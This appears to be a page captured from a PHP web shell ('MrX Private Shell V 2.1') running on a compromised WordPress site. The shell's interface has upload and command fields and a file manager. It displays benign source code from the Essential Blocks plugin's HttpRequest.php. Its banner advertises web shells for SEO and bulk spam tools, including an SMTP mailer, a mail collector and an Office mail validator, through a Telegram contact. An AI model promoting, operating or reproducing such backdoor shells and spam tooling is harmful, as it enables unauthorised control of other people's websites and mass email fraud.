__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace EssentialBlocks\Utils;

use WP_Error;
use EssentialBlocks\Traits\HasSingletone;

class HttpRequest {
	use HasSingletone;

	public function post( $url, $args = array() ) {
		return $this->call( 'post', array( $url, $args ) );
	}

	public function get( $url, $args = array() ) {
		return $this->call( 'get', array( $url, $args ) );
	}

	public function call( $method = 'get', $args = array() ) {
		/**
		 * User must have passed an url to call.
		 *
		 * @var string $_url
		 */
		$_url = ! empty( $args[0] ) ? $args[0] : false;
		if ( ! $_url ) {
			return new WP_Error( 'empty_url', __( 'URL cannot be empty.', 'essential-blocks' ) );
		}

		/**
		 * Other Request option passed by Users.
		 *
		 * @var mixed $_args_options
		 */
		$_args_options = ! empty( $args[1] ) ? $args[1] : array();

		$default_options = array(
			'timeout' => 45,
			'headers' => array(),
		);

		if ( $method === 'get' && ! empty( $_args_options['body'] ) ) {
			$_url = Helper::build_url( $_url, $_args_options['body'] );
			unset( $_args_options['body'] );
		}

		// if( $method === 'post' ) {
		// $default_options['headers'] = array_merge($default_options['headers'], [
		// 'Content-Type' => 'application/json'
		// ]);
		// }

		$is_ajax = false;
		if ( ! empty( $_args_options['is_ajax'] ) ) {
			$is_ajax = (bool) $_args_options['is_ajax'];
			unset( $_args_options['is_ajax'] );
		}

		$_options = wp_parse_args( $_args_options, $default_options );
		$response = call_user_func_array( "wp_remote_$method", array( $_url, $_options ) );

		if ( is_wp_error( $response ) ) {
			$error_message = $response->get_error_message();

			if ( $is_ajax ) {
				wp_send_json_error( 'Something went wrong!' );
			}

			return array(
				'status'  => 'error',
				'message' => 'Something went wrong: ' . $error_message,
			);
		}

		$_remote_body = wp_remote_retrieve_body( $response );
		$_status_code = wp_remote_retrieve_response_code( $response );

		if ( $is_ajax ) {
			if ( $_status_code === 200 ) {
				wp_send_json_success( $_remote_body );
			} else {
				wp_send_json_error( $_remote_body );
			}
		}

		return json_decode( $_remote_body );
	}
}

Filemanager

Name Type Size Permission Actions
CSSParser.php File 9 KB 0640
Enqueue.php File 4.57 KB 0640
Helper.php File 24.93 KB 0640
HttpRequest.php File 2.1 KB 0640
Installer.php File 3.26 KB 0640
LiquidGlassRenderer.php File 4.49 KB 0640
Migrator.php File 743 B 0640
QueryHelper.php File 7.19 KB 0640
Settings.php File 3.29 KB 0640
SvgSanitizer.php File 2.47 KB 0640
TemplateHelpers.php File 2.11 KB 0640
Filemanager